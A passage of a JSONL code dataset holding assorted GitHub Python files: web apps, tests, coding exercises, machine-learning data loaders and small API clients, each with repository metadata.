\",responses)\n\n print(' \\n \\n The number of responses was', f'{len(responses)}', ' \\n \\n')\n print(' \\n \\n The number of questions is this survey is', f'{len(satisfaction_survey.questions)}', '\\n \\n')\n\n if len(responses)==len(satisfaction_survey.questions):\n print('\\n \\n YOU ARE DONE \\n \\n')\n return redirect('/thanks')\n else:\n print('\\n \\n This redirects to question ID', f'{len(responses)}', ' \\n \\n')\n return redirect(f\"/questions/{len(responses)}\")\n\n\n@app.route('/questions/')\ndef handle_button_click(question_number):\n \"\"\"Handles the click of the buttons and directs\n to the next question of the survey\"\"\"\n\n # print(\"Printing question nubmer before if else\", question_number)\n\n next_question = len(responses) + 1\n question_text = satisfaction_survey.questions[question_number].question\n question_choices = satisfaction_survey.questions[question_number].choices\n\n if responses is None:\n return redirect('/')\n if len(responses)==len(satisfaction_survey.questions):\n print('\\n \\n YOU ARE DONE \\n \\n')\n return redirect('/thanks')\n if question_number != len(responses):\n flash(f'Invalid question id: {question_number}')\n return redirect(f\"/questions/{len(responses)}\")\n \n return render_template('question_template.html', \n next_question=next_question, \n question_number=next_question, \n question_choices=question_choices,\n question_text=question_text)\n\n@app.route('/thanks')\ndef end_of_survey():\n \"\"\"Renders the thank you page at the end of the survey\"\"\"\n\n print(\"\\n\\n\\nTHANK YOU FOR YOUR RESPONSE\", responses, \"\\n\\n\\n\")\n\n return render_template('thank_you.html')","repo_name":"sjbrooks/flask-survey","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72877222614","text":"from rest_framework import status\nfrom rest_framework.test import APITestCase\n\nfrom accounts.serializers import UserRegistrationSerializer, UserSerializer\nfrom tests.python.accounts.test_models import UserFactory\nfrom todolists.serializers import TodoListSerializer, TaskSerializer\nfrom todolists.tests.test_models import TodoListFactory, TaskFactory\nfrom todolists.models import TodoList, Task\n\n\nclass TodoListSerializerTest(APITestCase):\n def setUp(self):\n self.todo_list_attributes = {\n 'name': 'my todo list'\n }\n\n self.valid_serializer_data = {\n 'name': 'updated my todo list'\n }\n\n self.todo_list = TodoListFactory.create(**self.todo_list_attributes)\n self.serializer = TodoListSerializer(instance=self.todo_list)\n\n def test_todo_list_contains_expected_fields(self):\n data = self.serializer.data\n\n self.assertCountEqual(data.keys(), ['name', 'tasks'])\n\n def test_todo_list_fields_content(self):\n data = self.serializer.data\n\n self.assertEqual(data['name'], self.todo_list_attributes['name'])\n self.assertEqual(data['tasks'], [])\n","repo_name":"tuliolages/prettytodolist","sub_path":"todos/tests/test_serializers.py","file_name":"test_serializers.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74344626772","text":"# 主流的单线程实现并发的几种方式\n# Twisted\n\n# getPage相当于requets模块,defer特殊的返回值,rector是做事件循环\nfrom twisted.web.client import getPage, defer\nfrom twisted.internet import reactor\nimport time\n\n\n\"\"\"twisted代码例子, 单线程最快\"\"\"\ndef all_done(arg):\n reactor.stop()\n\ndef callback(contents):\n print(contents)\n\ndeferred_list = []\n\nurl_list = [\n 'http://www.baidu.com',\n 'https://www.python.org',\n 'http://www.cnblogs.com/',\n 'https://www.tmall.com/',\n 'https://www.jd.com/'\n]\nfor url in url_list:\n deferred = getPage(bytes(url, encoding='utf8'))\n deferred.addCallback(callback)\n deferred_list.append(deferred)\n#这里就是进就行一种检测,判断所有的请求是否执行完毕\ndlist = defer.DeferredList(deferred_list)\ndlist.addBoth(all_done)\n\nif __name__ == '__main__':\n start = time.time()\n reactor.run()\n end = time.time()\n print(end-start)\n","repo_name":"CharlesBird/Resources","sub_path":"scrapy/performance/performance_5.py","file_name":"performance_5.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71291039254","text":"print(\"Python program that calculates decibels of two powers based on a range of number.\")\nimport math\nnum = int(input(\"Enter the range of your choice: \"))\ndef decibels(num):\n \"\"\"Python program that calculates decibels of two powers based on a range of number.\"\"\"\n db = 0\n p1 = 1\n p2 = 0\n count = 1\n\n if num > 0:\n while count < num+1:\n p2 = count\n div = p2 / p1\n db = 10 * math.log(div, 10) # decibel expression logic with base 10\n print(f\"Decibels of {p2} is\", round(db, 2),\"db\")\n count += 0.5\n else:\n print(\"Unsupported value of range!!\")\n return\n\ndecibels(num)","repo_name":"Horlawhumy-dev/csc_lab_problems","sub_path":"help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32834574713","text":"# Refaça o Desafio 051, lendo o primeiro termo e a razão de uma PA,\n# mostrando os 10 primeiros termos da progressão usando a estrutura While\nnum = int(input('Digite um número: '))\nr = int(input('Digite a razão desse número: '))\ni = 0\nwhile i < 9:\n print('{}'.format(num), end=', ')\n num += r\n i += 1\nprint('{}'.format(num))\n","repo_name":"BirdMelo/PythonAulas","sub_path":"Aulas Curso em Video/14 Repetição While/Desafio_61.py","file_name":"Desafio_61.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"43804166201","text":"# --------------------------------------------------------------------------\n# Tensorflow Implementation of Synthetic Fingerprint Generation\n# Licensed under The MIT License [see LICENSE for details]\n# Written by Young-Mook Kang\n# Email: kym343@naver.com\n# --------------------------------------------------------------------------\nimport os\nimport logging\nimport cv2\nimport numpy as np\nimport utils as utils\nfrom scipy.ndimage import rotate\n\nclass Dataset(object):\n def __init__(self, name='Generation', resize_factor=1.0, img_shape=(320, 280, 1), is_train=False,\n log_dir=None, is_debug=False):\n self.name = name\n self.resize_factor = resize_factor\n self.num_identities = 720\n self.num_seg_class = 3\n self.img_shape = img_shape\n self.input_img_shape = (int(self.resize_factor * img_shape[0]),\n int(self.resize_factor * img_shape[1]), 3)\n self.output_img_shape = (int(self.resize_factor * img_shape[0]),\n int(self.resize_factor * img_shape[1]), 1)\n self.is_train = is_train\n\n # self.num_sample_each_class = 100\n self.num_sample_each_class = 10\n # self.num_mask_each_sample = 10\n self.train_rate = 0.9\n self.val_rate = 0\n self.test_sample_num_list = [0]\n\n self.total_folder = '../../Data/Fingerprint/Synthetic_Fingerprint_Dataset/train/paired_255'\n # self.train_folder = '../../Data/Fingerprint/Identification/train'\n # self.val_folder = '../../Data/Fingerprint/Identification/val'\n self.test_folder = None# '../../Data/Fingerprint/for test/total'# '../../Data/Fingerprint/for test/total'\n self._read_img_path()\n\n if is_debug and self.is_train:\n self.debug_augmentation()\n\n if self.is_train:\n self.logger = logging.getLogger(__name__) # logger\n self.logger.setLevel(logging.INFO)\n utils.init_logger(logger=self.logger, log_dir=log_dir, is_train=self.is_train, name='eg_dataset')\n\n self.logger.info('Dataset name: \\t\\t{}'.format(self.name))\n self.logger.info('Total folder: \\t\\t{}'.format(self.total_folder))\n # self.logger.info('Train folder: \\t\\t{}'.format(self.train_folder))\n # self.logger.info('Val folder: \\t\\t\\t{}'.format(self.val_folder))\n # self.logger.info('Test folder: \\t\\t{}'.format(self.test_folder))\n self.logger.info('Train samples num: \\t\\t{}'.format(self.train_sample_num))\n self.logger.info('Val samples num: \\t\\t{}'.format(self.val_sample_num))\n self.logger.info('Test samples num: \\t\\t{}'.format(self.test_sample_num))\n self.logger.info('Num. train imgs: \\t\\t{}'.format(self.num_train_imgs))\n self.logger.info('Num. val imgs: \\t\\t{}'.format(self.num_val_imgs))\n self.logger.info('Num. test imgs: \\t\\t{}'.format(self.num_test_imgs))\n self.logger.info('Num. identities: \\t\\t{}'.format(self.num_identities))\n self.logger.info('Num. seg. classes: \\t\\t{}'.format(self.num_seg_class))\n self.logger.info('Original img shape: \\t\\t{}'.format(self.img_shape))\n self.logger.info('Input img shape: \\t\\t{}'.format(self.input_img_shape))\n self.logger.info('Output img shape: \\t\\t{}'.format(self.output_img_shape))\n self.logger.info('Resize_factor: \\t\\t{}'.format(self.resize_factor))\n\n def _read_img_path(self):\n # Generation task using training and validation data together\n # self.train_paths = utils.all_files_under(self.train_folder) + utils.all_files_under(self.val_folder)\n # self.val_paths = []\n # self.test_paths = utils.all_files_under(self.test_folder)\n # ==========================================================================================================\n if self.test_folder is not None:\n self.test_paths = utils.all_files_under(self.test_folder)\n\n self.num_train_imgs = 0\n self.num_val_imgs = 0\n self.num_test_imgs = len(self.test_paths)\n else:\n self.total_paths = utils.all_files_under(self.total_folder)\n self.train_paths, self.val_paths, self.test_paths = self.divide_img_paths(total_paths=self.total_paths)\n # ==========================================================================================================\n self.num_train_imgs = len(self.train_paths)\n self.num_val_imgs = len(self.val_paths)\n self.num_test_imgs = len(self.test_paths)\n\n def divide_img_paths(self, total_paths):\n num_of_train = int(self.num_sample_each_class * self.train_rate) # each class\n\n total_sample_num = np.array(range(self.num_sample_each_class))\n self.val_sample_num = None\n if self.is_train:\n self.train_sample_num = np.random.choice(self.num_sample_each_class, num_of_train, replace=False)\n self.val_sample_num = np.random.choice(np.array(list(set(total_sample_num) - set(self.train_sample_num))),\n int(self.num_sample_each_class * self.val_rate), replace=False)\n self.test_sample_num = np.array(list(set(total_sample_num) - set(self.train_sample_num) - set(self.val_sample_num)))\n\n else:\n self.test_sample_num = np.array(self.test_sample_num_list)\n self.train_sample_num = np.array(list(set(total_sample_num) - set(self.test_sample_num)))\n\n # print(\"train_sample_num:{}\".format(self.train_sample_num))\n # print(\"test_sample_num:{}\".format(self.test_sample_num))\n\n train_idx = list(cls*self.num_sample_each_class + num_ for cls in range(self.num_identities) for num_ in self.train_sample_num)\n test_idx = list(cls*self.num_sample_each_class + num_ for cls in range(self.num_identities) for num_ in self.test_sample_num)\n\n val_idx = None\n if self.val_sample_num is not None:\n # print(\"val_sample_num:{}\".format(self.val_sample_num))\n val_idx = list(cls * self.num_sample_each_class + num_ for cls in range(self.num_identities) for num_ in\n self.val_sample_num)\n\n train_paths = [total_paths[i] for i in train_idx]\n test_paths = [total_paths[i] for i in test_idx]\n val_paths = [total_paths[i] for i in val_idx]\n\n return train_paths, val_paths, test_paths\n\n def debug_augmentation(self, num_try=8, save_dir='../debug'):\n img_paths = [self.train_paths[idx] for idx in np.random.randint(self.num_train_imgs, size=num_try)]\n\n for img_path in img_paths:\n # Read data\n img_combine = cv2.imread(img_path, 1)\n img = img_combine[:, :self.img_shape[1], 1]\n seg = img_combine[:, self.img_shape[1]:, :]\n\n # Translation\n img_tran, seg_tran = self.aug_translate(img, seg)\n # Flip\n img_flip, seg_flip = self.aug_flip(img, seg)\n # Rotation\n img_rot, seg_rot = self.aug_rotate(img, seg)\n # Translation, flip, and rotation\n img_aug, seg_aug = self.data_augmentation(img, seg)\n\n img_upper = np.hstack([img, img_tran, img_flip, img_rot, img_aug])\n # img_upper = np.dstack([img_upper, img_upper, img_upper])\n seg_lower = np.hstack([seg, seg_tran, seg_flip, seg_rot, seg_aug])\n canvas = np.vstack([img_upper, seg_lower])\n\n canvas = cv2.resize(canvas, None, fx=0.5, fy=0.5, interpolation=cv2.INTER_NEAREST)\n\n cv2.imwrite(os.path.join(save_dir, 'gen_aug_'+os.path.basename(img_path)), canvas)\n\n def train_random_batch(self, batch_size):\n # img_paths = [self.train_paths[idx] for idx in np.random.randint(self.num_train_imgs, size=batch_size)]\n img_paths = [self.train_paths[idx] for idx in np.random.randint(self.num_train_imgs, size=batch_size)]\n train_imgs, train_segs = self.read_data(img_paths, is_augment=True)\n return train_imgs, train_segs\n\n def direct_batch(self, batch_size, index, stage='train'):\n if stage == 'train':\n num_imgs = self.num_train_imgs\n all_paths = self.train_paths\n elif stage == 'val':\n num_imgs = self.num_val_imgs\n all_paths = self.val_paths\n elif stage == 'test':\n num_imgs = self.num_test_imgs\n all_paths = self.test_paths\n else:\n raise NotImplementedError\n\n if index + batch_size < num_imgs:\n img_paths = all_paths[index:index + batch_size]\n else:\n img_paths = all_paths[index:]\n\n imgs, segs = self.read_data(img_paths, is_augment=False)\n\n return imgs, segs\n\n def read_data(self, img_paths, is_augment=False):\n batch_imgs = np.zeros((len(img_paths), *self.output_img_shape), dtype=np.float32)\n batch_segs = np.zeros((len(img_paths), *self.input_img_shape), dtype=np.float32)\n\n for i, img_path in enumerate(img_paths):\n # Read img and seg\n img_combine = cv2.imread(img_path)\n img = img_combine[:, :self.img_shape[1], 1]\n seg = img_combine[:, self.img_shape[1]:, :]\n\n # Resize\n img = cv2.resize(img, None, fx=self.resize_factor, fy=self.resize_factor, interpolation=cv2.INTER_LINEAR)\n seg = cv2.resize(seg, None, fx=self.resize_factor, fy=self.resize_factor, interpolation=cv2.INTER_NEAREST)\n\n # Data augmentation\n if is_augment:\n img, seg = self.data_augmentation(img, seg)\n\n batch_imgs[i, :, :, 0] = img\n batch_segs[i, :, :, :] = seg\n\n return batch_imgs, batch_segs\n\n def data_augmentation(self, img, seg):\n img_aug, seg_aug = self.aug_translate(img, seg) # random translation\n img_aug, seg_aug = self.aug_flip(img_aug, seg_aug) # random flip\n # img_aug, seg_aug = self.aug_rotate(img_aug, seg_aug) # random rotate\n return img_aug, seg_aug\n\n @staticmethod\n def aug_translate(img, label, resize_factor=1.1):\n # Resize originl image\n img_bigger = cv2.resize(src=img.copy(), dsize=None, fx=resize_factor, fy=resize_factor,\n interpolation=cv2.INTER_LINEAR)\n label_bigger = cv2.resize(src=label.copy(), dsize=None, fx=resize_factor, fy=resize_factor,\n interpolation=cv2.INTER_NEAREST)\n\n # Generate random positions for horizontal and vertical axes\n h_bigger, w_bigger = img_bigger.shape\n h_star = np.random.random_integers(low=0, high=h_bigger - img.shape[0])\n w_star = np.random.random_integers(low=0, high=w_bigger - img.shape[1])\n\n # Crop image from the bigger one\n img_crop = img_bigger[h_star:h_star + img.shape[0], w_star:w_star + img.shape[1]]\n label_crop = label_bigger[h_star:h_star + img.shape[0], w_star:w_star + img.shape[1]]\n\n return img_crop, label_crop\n\n @staticmethod\n def aug_flip(img, label):\n # Random vertical-axis flip\n if np.random.uniform(low=0., high=1.) > 0.5:\n img_flip = cv2.flip(src=img, flipCode=1)\n label_flip = cv2.flip(src=label, flipCode=1)\n else:\n img_flip = img.copy()\n label_flip = label.copy()\n\n return img_flip, label_flip\n\n @staticmethod\n def aug_rotate(img, label, min_degree=-10, max_degree=10):\n # Random rotate image\n angle = np.random.randint(low=min_degree, high=max_degree, size=None)\n img_rotate = rotate(input=img, angle=angle, axes=(0, 1), reshape=False, order=3, mode='constant', cval=0.)\n img_rotate = np.clip(img_rotate, a_min=0., a_max=255.)\n label_rotate = rotate(input=label, angle=angle, axes=(0, 1), reshape=False, order=0, mode='constant', cval=0.)\n\n return img_rotate, label_rotate\n\n\n @staticmethod\n def convert_to_cls(img_name):\n user_id = int(img_name[img_name.find('U')+1:img_name.find('.png')])\n\n if user_id < 199:\n return user_id - 111\n else:\n return user_id - 112","repo_name":"kym343/Synthetic_Fingerprint_Generation","sub_path":"src/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":12171,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"6537753551","text":"from random import randint\r\n\r\ndef getMinNumber(array):\r\n length = len(array)\r\n minNumber = array[0]\r\n\r\n for i in range(length):\r\n number = array[i]\r\n if number < minNumber:\r\n minNumber = number\r\n\r\n return minNumber\r\n\r\ndef getProduct(array):\r\n length = len(array)\r\n product = 1\r\n\r\n for i in range(length):\r\n number = array[i]\r\n if not number == 0:\r\n product *= number\r\n\r\n return product\r\n\r\ndef printOddReversed(array):\r\n length = len(array)\r\n for i in range(length):\r\n i = length - i - 1\r\n number = array[i]\r\n\r\n if number >= 0:\r\n print(number)\r\n\r\narray = []\r\nlength = int( input('Введіть розмір масиву >> ') )\r\n\r\nfor i in range(length):\r\n randomNumber = randint(-10, 10)\r\n array.append(randomNumber)\r\n\r\nprint('Масив', array)\r\nprint('Мінімальний елемент масиву', getMinNumber(array))\r\nprint('Добуток ненульових елементів масиву', getProduct(array))\r\nprint('Додатні елементи масиву у зворотньому')\r\nprintOddReversed(array)","repo_name":"cubicbyte/laboratory1","sub_path":"#3.py","file_name":"#3.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74023662294","text":"from multiprocessing import context\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.shortcuts import render,redirect\nfrom .models import Cliente\nfrom .forms import ReclamoForm,LoginForm\nfrom django.http import HttpResponse\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import render\nfrom django.contrib.auth import authenticate, login as auth_login\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom .forms import UserRegisterForm\nfrom django.contrib import messages\n# from .forms import NewUserForm\nfrom .forms import ContactoFrom\n\ndef index(request):\n return render(request, 'ventas/index.html')\n\ndef contacto(request):\n return render(request, 'ventas/contacto.html')\n\n\ndef formulario(request):\n return render(request, 'ventas/formulario.html')\n\n\n\ndef clientes(request):\n usuario= Cliente.objects.all()\n return render(request, 'ventas/clientes.html', {\"data\":usuario})\n\ndef reclamo2(request):\n formulario_conatacto=ReclamoForm()\n return render(request, 'ventas/reclamo2.html', {'formulario_conatacto':formulario_conatacto})\n\n\n@csrf_exempt\ndef login(request):\n if request.method == \"POST\":\n form = LoginForm(data =request.POST)\n\n if form.is_valid():\n usuario=request.POST[\"nombre\"]\n clave=request.POST[\"password\"]\n user = authenticate(request, username=usuario, password=clave)\n if user is not None:\n\n auth_login(request, user)\n\n return render(request,'ventas/bienvenido.html/', {\"user\": user})\n else:\n form = LoginForm()\n return render(request, 'ventas/login.html', {\"form\": form}) \n\n\n \n@login_required\ndef bienvenido (request):\n return render (request, 'ventas/bienvenido.html')\n \ndef salir(request):\n logout(request)\n return redirect (\"/login\")\n\n\n\ndef register(request):\n form = UserRegisterForm()\n print(\"hola\")\n if request.method == \"POST\":\n form = UserRegisterForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data['username']\n messages.success(request, f'Usuario {username} creado exitosamente.')\n return redirect('login')\n else:\n\n form = UserRegisterForm()\n context = {'form':form}\n return render(request, 'ventas/register.html', context)\n\n\ndef contacto(request):\n data = {\n 'form' : ContactoFrom()\n \n }\n if request.method == 'POST':\n formulario = ContactoFrom(data=request.POST)\n if formulario.is_valid():\n formulario.save()\n data[\"mensaje\"]= \"contanto guardado\"\n else:\n data[\"form\"] =formulario \n \n return render(request,'ventas/contacto.html', data)\n\n\n\n\n# def register (request):\n# if request.method == 'POST':\n# form = UserRegisterForm(request.POST)\n# if form.is_valid():\n# nombre=form.cleaned_data[\"nombre\"]\n# email=form.cleaned_data[\"email\"]\n# clave=form.cleaned_data[\"password\"]\n# user= User.objects.create_user(nombre, email, clave)\n# user.saved()\n# # usermane = form.cleaned_data['username']\n# #messages.success(request, f'Usuario {usermane} creado correctamente')\n# return redirect('login')\n# form.save()\n# else:\n# form = UserRegisterForm()\n# context = {'form':form}\n# return render(request, 'ventas/register.html', context)\n# # return reder(request, 'ventas/profile.html', context)\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"fdoquezada/proyectos","sub_path":"tiendaonline/ventas/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15396205858","text":"# Given an unsorted array of integers, find the length of the longest consecutive elements sequence.\n#\n# Your algorithm should run in O(n) complexity.\n#\n# Example:\n#\n# Input: [100, 4, 200, 1, 3, 2]\n# Output: 4\n# Explanation: The longest consecutive elements sequence is [1, 2, 3, 4]. Therefore its length is 4.\nfrom typing import List\n\n\nclass Solution:\n def longestConsecutive(self, nums: List[int]) -> int:\n nums = set(nums)\n # time complexity O(1)의 핵심.\n # python에서 set은 hashtable로 구현되어 있어서 lookup/insert/delete 모두 O(1)\n max_length = 0\n\n for num in nums:\n if num - 1 not in nums: # 1만큼 작은 값이 없으면, = 값이 속한 연속 시퀀스에서 가장 작은 값일 경우\n bigger = num + 1\n while bigger in nums: # 1만큼 큰 수가 리스트에 있으면 다시 1만큼 큰 수를 찾아냄. 계속 루프.\n bigger = bigger + 1\n\n max_length = max(max_length, bigger - num) # 가장 큰 연속 수를 찾아내서 그 수와 현재 수와의 차이를 계산해서 max length 업데이트\n\n return max_length\n\n\n# 68 / 68 test cases passed.\n# Status: Accepted\n# Runtime: 44 ms\n# Memory Usage: 15.2 MB\n#\n# Your runtime beats 99.51 % of python3 submissions.\n# Your memory usage beats 28.32 % of python3 submissions.\n","repo_name":"eunjungchoi/algorithm","sub_path":"array/128_longest_consecutive_sequence.py","file_name":"128_longest_consecutive_sequence.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"74210630614","text":"class Solution(object):\n def missingNumber(self, nums):\n n=len(nums)\n sumofNumbers=n*(n+1)//2\n totalSum=sum(nums)\n missing=sumofNumbers-totalSum\n return missing\n# n=len(nums)\n# xor1=0\n# xor2=0\n# for i in range(1,n+1):\n# xor1=xor1^i\n \n# for i in range(0,n-1):\n# xor2=xor2^nums[i]\n# xor3=xor1^xor2\n# return xor3\n \n ","repo_name":"Khyatikhurana/DSA-Problems","sub_path":"0268-missing-number/0268-missing-number.py","file_name":"0268-missing-number.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21565529865","text":"from time import time\nfrom random import choice, randint, randrange\nfrom configuraciones import *\nimport psycopg2\nconn = psycopg2.connect(\"dbname=%s user=%s password=%s\"%(database,user,passwd))\ncur = conn.cursor()\n\nsql=\"\"\"select rut from clientes;\"\"\"\n\ncur.execute(sql)\nposts = cur.fetchall()\n\n\n#print(posts)\n\ntiempo = time()\ncombustible = [\"gasolina98\", \"gasolina95\", \"gasolina93\", \"Diesel\"]\ntautos = [\"Sedan\", \"Station Wagon\", \"Doble Cabina\", \"Hatchback\",\"SUV\", \"Furgon\"]\n\ndef rand():\n return choice(['A','B','C','D','E','F','G','H','J','K','L','M','N','P','Q','R','S','T','I','O','P','Q'])\ndef rand2():\n return randrange(1,9,1)\n\nlist1=[]\n\n#print(\"insert into autos (patente, largo, ancho, alto, peso_neto, peso_max, tipo_combustible, tipo_auto, cant_pasajero, numeroAro) values\")\n#patente, rut, largo , ancho, alto, peso_neto, tipo_combustible, tipo_auto, maximo_pasajeros, num_aro\nfor x in posts:\n peso_neto = randint(2700, 3860)\n patente=str(rand())+str(rand())+str(rand())+str(rand())+str(rand2())+str(rand2())\n while patente in list1:\n patente=str(rand())+str(rand())+str(rand())+str(rand())+str(rand2())+str(rand2())\n list1.append(patente)\n sql=\"\"\"insert into autos (patente,rut,largo,ancho,alto,peso_neto,tipo_combustible,tipo_auto,maximo_pasajeros,num_aro) values \"\"\"\n sql=sql+(\"('{}',{},{},{},{},{},'{}','{}',{},'{}');\".format(patente,\n x[0],\n randint(3500, 5000),\n randint(1700, 1900), \n randint(1300, 1800),\n peso_neto + randint(500, 1000), \n choice(combustible), \n choice(tautos), \n choice([2,4,6]), \n choice(['Aro 24','Aro 26','Aro 28'])))\n #print(sql)\n cur.execute(sql)\n\nconn.commit()\ncur.close()\nconn.close()\n","repo_name":"totonunez/NewralCar","sub_path":"DATOS_LISTOS/2-autos.py","file_name":"2-autos.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"8543307259","text":"from __future__ import absolute_import\n\nimport tensorflow as tf\nimport os\nimport yaml\nimport h5py\n\nfrom Solver.Test_Handler import Test_Handler\nconfig_filename = './Solver/Config.yaml'\ndef main():\n \n folder_id, config_id = 'Boatman-AL-T0518165807-K0.80L0.008-RMSE', 'config_250.yaml'\n with open(config_filename) as handle:\n model_config = yaml.load(handle)\n log_dir = os.path.join(os.path.abspath('.'), model_config['result_dir'], model_config['result_model'], folder_id)\n\n with open(os.path.join(log_dir, config_id)) as handle:\n model_config = yaml.load(handle)\n data_name = os.path.join(os.path.abspath('.'), 'Test_Data', model_config['category'], model_config['data_name'])\n \n mask_name = os.path.join(os.path.abspath('.'),'Test_Data',model_config['category'],model_config['code_name'])\n \n dataset_name = (data_name,mask_name)\n \n tf_config = tf.ConfigProto()\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\" # Please change the id of GPU in your local server accordingly\n tf_config = tf.ConfigProto()\n tf_config.gpu_options.allow_growth = True\n\n with tf.Session(config=tf_config) as sess:\n Cube_Decoder = Test_Handler(dataset_name=dataset_name, model_config=model_config, sess = sess, is_training=False)\n Cube_Decoder.test()\n\nif __name__ == '__main__':\n main()\n","repo_name":"integritynoble/ALDL-algorithm","sub_path":"AL-Unet-attention/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"21137018325","text":"import unittest\nfrom multiprocessing import Process, Queue\nfrom typing import List\n\nfrom agent.batch_inference import SharedData, batchInference\nfrom agent.network import PolicyValueNet\nfrom icecream import ic\nfrom train_utils.game import selfPlay\nfrom train_utils.replay_buffer import ReplayBuffer\n\n\nclass TestGame(unittest.TestCase):\n def testSelfPlay(self):\n buffer = ReplayBuffer()\n n_process, n_epoch = 10, 2\n net = PolicyValueNet()\n net.setDevice()\n\n with SharedData(n_process) as shared_data:\n done_queue = Queue()\n for _ in range(n_epoch):\n shared_data.reset()\n processes: List[Process] = []\n\n for i in range(n_process):\n processes.append(\n Process(target=selfPlay,\n args=(i, i, shared_data, done_queue)))\n processes[-1].start()\n batchInference(shared_data, net)\n\n for _ in range(n_process):\n buffer.add(*done_queue.get())\n for proc in processes:\n proc.join()\n\n buffer.save()\n ic(len(buffer))\n for i in range(100):\n train_iter = buffer.sample()\n for data_batch in train_iter:\n loss, acc = net.trainStep(data_batch)\n ic(loss, acc)\n net.save()\n\n","repo_name":"CWHer/AlphaZero-Gomoku","sub_path":"tests/test_game.py","file_name":"test_game.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"503674599","text":"from dotenv import load_dotenv\nimport requests\nimport json\n\nload_dotenv()\n\nclass LeTourService:\n def __init__(self, access_token, x_access_key):\n self.access_token = access_token\n self.x_access_key = x_access_key\n\n async def get_rider_values(self, stage):\n url = 'https://fantasybytissot.letour.fr/v1/private/searchjoueurs?lg=en'\n headers = {\n 'authorization': f'Token {self.access_token}',\n 'x-access-key': self.x_access_key\n }\n\n data = {\n 'filters': {\n 'nom': '',\n 'club': '',\n 'position': '',\n 'budget_ok': False,\n 'engage': False,\n 'partant': False,\n 'dreamteam': False,\n 'quota': '',\n 'idj': str(stage),\n 'pageIndex': 0,\n 'pageSize': 250,\n 'loadSelect': 0,\n 'searchonly': 1\n }\n }\n\n resp = requests.post(url, headers=headers, json=data)\n d = json.loads(resp.content)\n if \"message\" in d:\n return None\n riderDict = {item['nomcomplet']: item['valeur'] for item in d['joueurs']}\n return riderDict","repo_name":"Martin-Thiele/road_cc_discord_bot","sub_path":"LeTourService.py","file_name":"LeTourService.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37460403761","text":"# beats 59% in time and 10% in space\n\nclass Solution:\n def reverseOnlyLetters(self, s: str) -> str:\n temp = [c for c in s]\n left = 0\n right = len(s) - 1\n while left < right:\n if not (temp[right].islower() or temp[right].isupper()):\n right -= 1\n elif not (temp[left].islower() or temp[left].isupper()):\n left += 1\n else:\n temp[left], temp[right] = temp[right], temp[left]\n left += 1\n right -= 1\n return \"\".join(temp)","repo_name":"DavidSober/Data-Structures-and-Algorithms-","sub_path":"LeetcodeProblems/917.py","file_name":"917.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38949783990","text":"# Given an array nums, write a function to move all 0's to the end of it while maintaining the relative order of the non-zero elements.\n\n# For example, given nums = [0, 1, 0, 3, 12], after calling your function, nums should be [1, 3, 12, 0, 0].\n\n# Note:\n# You must do this in-place without making a copy of the array.\n# Minimize the total number of operations.\n# Credits:\n# Special thanks to @jianchao.li.fighter for adding this problem and creating all test cases.\n\n# Normal\nclass Solution(object):\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: void Do not return anything, modify nums in-place instead.\n \"\"\"\n i = 0\n for n in nums:\n if n:\n nums[i] = n\n i += 1\n for i in range(i,len(nums)):\n nums[i] = 0\n \n# min Write with so many zero in list\nclass Solution(object):\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: void Do not return anything, modify nums in-place instead.\n \"\"\"\n lastzero = 0\n for i in range(len(nums)):\n if nums[i]:\n nums[i], nums[lastzero] = nums[lastzero], nums[i]\n lastzero += 1\n \n \n ","repo_name":"youhusky/Facebook_Prepare","sub_path":"283. Move Zeroes.py","file_name":"283. Move Zeroes.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"6982448139","text":"from dataIO import *\nfrom models import *\nfrom train_test import *\n\nif __name__ == '__main__':\n epoch = 100\n k = 1\n l = 3\n lr = 2e-4\n drop_prob = 0.2\n batch_size = 4\n data_size = 400\n 